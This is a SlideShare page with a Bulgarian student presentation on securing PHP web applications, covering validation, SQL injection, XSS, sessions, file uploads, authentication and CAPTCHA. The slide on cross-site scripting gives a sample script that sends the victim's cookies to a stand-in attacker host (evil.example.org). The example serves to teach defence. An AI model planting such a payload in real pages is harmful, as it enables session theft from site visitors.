SlideShare a Scribd company logo
1 of 14
Защита при създаване на PHP-
   приложения в Интернет




     изготвил: Николай Борисов
       специалност „Информатика“, ф.н. 9739
Методи за разработване на PHP
          приложения
• Обектно ориентирано
• Да използваме фреймуорк
• Да използваме възможностите му
  – Верификация на данните
  – Санитаризация на данните
  – Подреденост и неповтаряемост на кода
Error handling
Най-често срещаните причини за получаване на такива
грешки са:
• Грешка в писането
• Скука
• Предизвикателството да те надхитрят
• Просто любопитство
• Реални злонамерени намерения

Добра практика е грешките да се подтискат след
преключване на дебъгването на приложението и да се
показват само тези от тях, които разработчикът прецени, че
биха били от реална полза на потребителя.
Уеб-форми и URL – адреси

Това са най-честите места, които попадат на
вниманието на атакуващия, защото те са мястото
за взаимодействие със сайта.
Затова трябва:
• Да не вярваме на потребителя
• Да предвиждаме всяко едно негово действие
• Да се подготвим за най-лошия сценарии

Пример с използването на Zend Form и Zend Validate
класовете може да се види в реферата.
Бази от данни и SQL
Хранилището на нашата информация е и мястото
където се пази най-ценната част от нея. Затова
трябва:
• Да защитим файла с паролите и информацията за
  връзката с БД
• Да се защитим от SQL injection
Криптиране на данните
Добра практика е ценната информация да се
криптира, за да се добави допълнителен слой
защита към нея.
Cross-Site Scripting

Проблемът се изразява в това, че в уеб-
формите може да се въведе скрипт, който да
внесе в сайта злонамерени функции.
Пример:
 <script>
document.location =
'http://evil.example.org/steal.php?cookies='
+document.cookie
</script>
Сесии и Бисквитки
Могат да бъдат откраднати чрез Cross Site
Scripting, но истината че SESSION IDENTIFIER
вече не се използва самостоятелно а и дори в
новите      хостинги    е    изключен     по
подразбиране.

SSL дава допълнителен слой на сигурност.
Работа с файлове
• Да проверяваме и да се подсигуряваме
  когато работим с чужди файлове (e.g.RSS)
• Да се предотвратява command injection
• Да се проверява какво се позволява да се
  ъплоудва на вашия сайт
• Да се прави ограничение и в размера на
  файла
Автентификация




Добре е в някои райони от сайта да се дава достъп
само на потребители, като се регламентира достапът
им чрез потребителско име и парола. Това
впоследствие създава и някои проблеми:
• Възможност от brute force атака
• Възможност от Sniffing атака
Споделен хостинг
Ето някои проблеми със споделения хостинг:
• Видим сорс код
• Видима сесия
• Инжектиране на сесия
Анти бот защита

CAPTCHA – видове
•   Текстова - Zend_Captcha_Image
•   Текст от символи -Zend_Captcha_Figlet
•   Въвеждане на текст на обратно - Zend_Captcha_Dumb
•   Аудио Captcha
•   Когнитивна Captcha
Тествай, тествай и после тествай!

Тестването е една от задължителните практики
за разработване на сигурни и надеждни
информационни системи чрез PHP. При
тестването могат да излязат пробойни на места,
на които в други ситуации не би трябвало да
има, поради нестандартност на системата или
поради вземане на нестандартни решения от
страна на програмиста за решаване на иначе
стандартни проблеми.
Благодаря за вниманието!

More Related Content

Viewers also liked

Oficina - "Podcast, como faz?"
Oficina - "Podcast, como faz?"Oficina - "Podcast, como faz?"
Oficina - "Podcast, como faz?"Leo Lopes
 
sentencia asistencia sanitaria
sentencia asistencia sanitariasentencia asistencia sanitaria
sentencia asistencia sanitariapraktikas
 
Corporate Venturing na Telefônica Brasil - Buscando a inovação estratégica
Corporate Venturing na Telefônica Brasil - Buscando a inovação estratégicaCorporate Venturing na Telefônica Brasil - Buscando a inovação estratégica
Corporate Venturing na Telefônica Brasil - Buscando a inovação estratégicaFundação Dom Cabral - FDC
 
Objetivos de História - 4º Teste - 2ºPeríodo
Objetivos de História - 4º Teste - 2ºPeríodoObjetivos de História - 4º Teste - 2ºPeríodo
Objetivos de História - 4º Teste - 2ºPeríodoMaria Freitas
 
Mis Pinturas
Mis PinturasMis Pinturas
Mis Pinturasjacome
 
PresentacióN 200820 Ein971 171
PresentacióN 200820 Ein971 171PresentacióN 200820 Ein971 171
PresentacióN 200820 Ein971 171Pablo Figueroa
 
Seleção jacobinense
Seleção jacobinenseSeleção jacobinense
Seleção jacobinensejaconoticia
 
Bajos Profesionales
Bajos ProfesionalesBajos Profesionales
Bajos Profesionalesguest465d74
 
sentencia IP
sentencia IPsentencia IP
sentencia IPpraktikas
 
GRAN COLISIONADOR DE HADRONES
GRAN COLISIONADOR DE HADRONESGRAN COLISIONADOR DE HADRONES
GRAN COLISIONADOR DE HADRONESVicki17
 
Rotatividade mao de_obra
Rotatividade mao de_obraRotatividade mao de_obra
Rotatividade mao de_obrastoc3214
 

Viewers also liked (20)

Os Anéis do Diabo
Os Anéis do DiaboOs Anéis do Diabo
Os Anéis do Diabo
 
Oficina - "Podcast, como faz?"
Oficina - "Podcast, como faz?"Oficina - "Podcast, como faz?"
Oficina - "Podcast, como faz?"
 
sentencia asistencia sanitaria
sentencia asistencia sanitariasentencia asistencia sanitaria
sentencia asistencia sanitaria
 
Profecias
ProfeciasProfecias
Profecias
 
Exposicion Yesica
Exposicion YesicaExposicion Yesica
Exposicion Yesica
 
Trabajo
TrabajoTrabajo
Trabajo
 
Corporate Venturing na Telefônica Brasil - Buscando a inovação estratégica
Corporate Venturing na Telefônica Brasil - Buscando a inovação estratégicaCorporate Venturing na Telefônica Brasil - Buscando a inovação estratégica
Corporate Venturing na Telefônica Brasil - Buscando a inovação estratégica
 
Objetivos de História - 4º Teste - 2ºPeríodo
Objetivos de História - 4º Teste - 2ºPeríodoObjetivos de História - 4º Teste - 2ºPeríodo
Objetivos de História - 4º Teste - 2ºPeríodo
 
Mis Pinturas
Mis PinturasMis Pinturas
Mis Pinturas
 
PresentacióN 200820 Ein971 171
PresentacióN 200820 Ein971 171PresentacióN 200820 Ein971 171
PresentacióN 200820 Ein971 171
 
Seleção jacobinense
Seleção jacobinenseSeleção jacobinense
Seleção jacobinense
 
Preguntas
PreguntasPreguntas
Preguntas
 
Bajos Profesionales
Bajos ProfesionalesBajos Profesionales
Bajos Profesionales
 
El Aguila
El AguilaEl Aguila
El Aguila
 
sentencia IP
sentencia IPsentencia IP
sentencia IP
 
GRAN COLISIONADOR DE HADRONES
GRAN COLISIONADOR DE HADRONESGRAN COLISIONADOR DE HADRONES
GRAN COLISIONADOR DE HADRONES
 
Musica de ciness
Musica de cinessMusica de ciness
Musica de ciness
 
Rotatividade mao de_obra
Rotatividade mao de_obraRotatividade mao de_obra
Rotatividade mao de_obra
 
Aprendizagem, Autoria e Avaliação
Aprendizagem, Autoria e AvaliaçãoAprendizagem, Autoria e Avaliação
Aprendizagem, Autoria e Avaliação
 
Dioses
DiosesDioses
Dioses
 

Similar to Php security

Защита при създаването на PHP-приложения
Защита при създаването на PHP-приложенияЗащита при създаването на PHP-приложения
Защита при създаването на PHP-приложенияNikolay Milkov
 
Drupal security lecture
Drupal security lectureDrupal security lecture
Drupal security lectureslide9991
 
Защита при създаване на PHP-приложения в Интернет
Защита при създаване на PHP-приложения в ИнтернетЗащита при създаване на PHP-приложения в Интернет
Защита при създаване на PHP-приложения в Интернетeismail
 
Api автентификация и безопасност и защита на web
Api автентификация и безопасност и защита на webApi автентификация и безопасност и защита на web
Api автентификация и безопасност и защита на webPoli Petkova
 
(You better) change focus, 2015 finance ict & isaca v2
(You better) change focus, 2015 finance ict & isaca v2(You better) change focus, 2015 finance ict & isaca v2
(You better) change focus, 2015 finance ict & isaca v2Zdravko Stoychev, CISM, CRISC
 
Bezopastnost i zashtita na web priolojeniq
Bezopastnost i zashtita na web priolojeniqBezopastnost i zashtita na web priolojeniq
Bezopastnost i zashtita na web priolojeniqMartin Kenarov
 
Ефективно използване на хостинг решения за вашия бизнес
Ефективно използване на хостинг решения за вашия бизнесЕфективно използване на хостинг решения за вашия бизнес
Ефективно използване на хостинг решения за вашия бизнесred_ribbon
 
безопасност и защита на Web приложения
безопасност и защита на Web  приложениябезопасност и защита на Web  приложения
безопасност и защита на Web приложенияkarizka3
 
Lotus Domino Admin Blast: LCTY 2011
Lotus Domino Admin Blast: LCTY 2011Lotus Domino Admin Blast: LCTY 2011
Lotus Domino Admin Blast: LCTY 2011IBS Bulgaria
 
11086 browser-security
11086 browser-security11086 browser-security
11086 browser-securityAtanas Sqnkov
 
Курс по уеб програмиране (2014), занятие №3 - JavaScript (част 1/2)
Курс по уеб програмиране (2014), занятие №3 - JavaScript (част 1/2)Курс по уеб програмиране (2014), занятие №3 - JavaScript (част 1/2)
Курс по уеб програмиране (2014), занятие №3 - JavaScript (част 1/2)DAVID Academy
 
Курс по уеб програмиране (2015), занятие №1 - HTML
Курс по уеб програмиране (2015), занятие №1 - HTMLКурс по уеб програмиране (2015), занятие №1 - HTML
Курс по уеб програмиране (2015), занятие №1 - HTMLDAVID Academy
 
Курс по уеб програмиране (2015), занятие №3 - JavaScript (част 1/2)
Курс по уеб програмиране (2015), занятие №3 - JavaScript (част 1/2)Курс по уеб програмиране (2015), занятие №3 - JavaScript (част 1/2)
Курс по уеб програмиране (2015), занятие №3 - JavaScript (част 1/2)DAVID Academy
 
Php sec referat
Php sec referatPhp sec referat
Php sec referatDido_mn
 
безопасност и защита Cloud computing 10995
безопасност и защита Cloud computing 10995безопасност и защита Cloud computing 10995
безопасност и защита Cloud computing 10995Petya Radeva
 
Николай Кръстев (NT WEBSITES).pdf
Николай Кръстев (NT WEBSITES).pdfНиколай Кръстев (NT WEBSITES).pdf
Николай Кръстев (NT WEBSITES).pdfOctopus Events
 

Similar to Php security (20)

Защита при създаването на PHP-приложения
Защита при създаването на PHP-приложенияЗащита при създаването на PHP-приложения
Защита при създаването на PHP-приложения
 
Drupal security lecture
Drupal security lectureDrupal security lecture
Drupal security lecture
 
Защита при създаване на PHP-приложения в Интернет
Защита при създаване на PHP-приложения в ИнтернетЗащита при създаване на PHP-приложения в Интернет
Защита при създаване на PHP-приложения в Интернет
 
Api автентификация и безопасност и защита на web
Api автентификация и безопасност и защита на webApi автентификация и безопасност и защита на web
Api автентификация и безопасност и защита на web
 
(You better) change focus, 2015 finance ict & isaca v2
(You better) change focus, 2015 finance ict & isaca v2(You better) change focus, 2015 finance ict & isaca v2
(You better) change focus, 2015 finance ict & isaca v2
 
Bezopastnost i zashtita na web priolojeniq
Bezopastnost i zashtita na web priolojeniqBezopastnost i zashtita na web priolojeniq
Bezopastnost i zashtita na web priolojeniq
 
Ефективно използване на хостинг решения за вашия бизнес
Ефективно използване на хостинг решения за вашия бизнесЕфективно използване на хостинг решения за вашия бизнес
Ефективно използване на хостинг решения за вашия бизнес
 
безопасност и защита на Web приложения
безопасност и защита на Web  приложениябезопасност и защита на Web  приложения
безопасност и защита на Web приложения
 
Lotus Domino Admin Blast: LCTY 2011
Lotus Domino Admin Blast: LCTY 2011Lotus Domino Admin Blast: LCTY 2011
Lotus Domino Admin Blast: LCTY 2011
 
Webloz2011
Webloz2011Webloz2011
Webloz2011
 
Security Log Management
Security Log  ManagementSecurity Log  Management
Security Log Management
 
11086 browser-security
11086 browser-security11086 browser-security
11086 browser-security
 
Курс по уеб програмиране (2014), занятие №3 - JavaScript (част 1/2)
Курс по уеб програмиране (2014), занятие №3 - JavaScript (част 1/2)Курс по уеб програмиране (2014), занятие №3 - JavaScript (част 1/2)
Курс по уеб програмиране (2014), занятие №3 - JavaScript (част 1/2)
 
Курс по уеб програмиране (2015), занятие №1 - HTML
Курс по уеб програмиране (2015), занятие №1 - HTMLКурс по уеб програмиране (2015), занятие №1 - HTML
Курс по уеб програмиране (2015), занятие №1 - HTML
 
Курс по уеб програмиране (2015), занятие №3 - JavaScript (част 1/2)
Курс по уеб програмиране (2015), занятие №3 - JavaScript (част 1/2)Курс по уеб програмиране (2015), занятие №3 - JavaScript (част 1/2)
Курс по уеб програмиране (2015), занятие №3 - JavaScript (част 1/2)
 
Php sec referat
Php sec referatPhp sec referat
Php sec referat
 
WordPress Security
WordPress SecurityWordPress Security
WordPress Security
 
Open Free Security Software
Open Free Security SoftwareOpen Free Security Software
Open Free Security Software
 
безопасност и защита Cloud computing 10995
безопасност и защита Cloud computing 10995безопасност и защита Cloud computing 10995
безопасност и защита Cloud computing 10995
 
Николай Кръстев (NT WEBSITES).pdf
Николай Кръстев (NT WEBSITES).pdfНиколай Кръстев (NT WEBSITES).pdf
Николай Кръстев (NT WEBSITES).pdf
 

Php security

  • 1. Защита при създаване на PHP- приложения в Интернет изготвил: Николай Борисов специалност „Информатика“, ф.н. 9739
  • 2. Методи за разработване на PHP приложения • Обектно ориентирано • Да използваме фреймуорк • Да използваме възможностите му – Верификация на данните – Санитаризация на данните – Подреденост и неповтаряемост на кода
  • 3. Error handling Най-често срещаните причини за получаване на такива грешки са: • Грешка в писането • Скука • Предизвикателството да те надхитрят • Просто любопитство • Реални злонамерени намерения Добра практика е грешките да се подтискат след преключване на дебъгването на приложението и да се показват само тези от тях, които разработчикът прецени, че биха били от реална полза на потребителя.
  • 4. Уеб-форми и URL – адреси Това са най-честите места, които попадат на вниманието на атакуващия, защото те са мястото за взаимодействие със сайта. Затова трябва: • Да не вярваме на потребителя • Да предвиждаме всяко едно негово действие • Да се подготвим за най-лошия сценарии Пример с използването на Zend Form и Zend Validate класовете може да се види в реферата.
  • 5. Бази от данни и SQL Хранилището на нашата информация е и мястото където се пази най-ценната част от нея. Затова трябва: • Да защитим файла с паролите и информацията за връзката с БД • Да се защитим от SQL injection
  • 6. Криптиране на данните Добра практика е ценната информация да се криптира, за да се добави допълнителен слой защита към нея.
  • 7. Cross-Site Scripting Проблемът се изразява в това, че в уеб- формите може да се въведе скрипт, който да внесе в сайта злонамерени функции. Пример: <script> document.location = 'http://evil.example.org/steal.php?cookies=' +document.cookie </script>
  • 8. Сесии и Бисквитки Могат да бъдат откраднати чрез Cross Site Scripting, но истината че SESSION IDENTIFIER вече не се използва самостоятелно а и дори в новите хостинги е изключен по подразбиране. SSL дава допълнителен слой на сигурност.
  • 9. Работа с файлове • Да проверяваме и да се подсигуряваме когато работим с чужди файлове (e.g.RSS) • Да се предотвратява command injection • Да се проверява какво се позволява да се ъплоудва на вашия сайт • Да се прави ограничение и в размера на файла
  • 10. Автентификация Добре е в някои райони от сайта да се дава достъп само на потребители, като се регламентира достапът им чрез потребителско име и парола. Това впоследствие създава и някои проблеми: • Възможност от brute force атака • Възможност от Sniffing атака
  • 11. Споделен хостинг Ето някои проблеми със споделения хостинг: • Видим сорс код • Видима сесия • Инжектиране на сесия
  • 12. Анти бот защита CAPTCHA – видове • Текстова - Zend_Captcha_Image • Текст от символи -Zend_Captcha_Figlet • Въвеждане на текст на обратно - Zend_Captcha_Dumb • Аудио Captcha • Когнитивна Captcha
  • 13. Тествай, тествай и после тествай! Тестването е една от задължителните практики за разработване на сигурни и надеждни информационни системи чрез PHP. При тестването могат да излязат пробойни на места, на които в други ситуации не би трябвало да има, поради нестандартност на системата или поради вземане на нестандартни решения от страна на програмиста за решаване на иначе стандартни проблеми.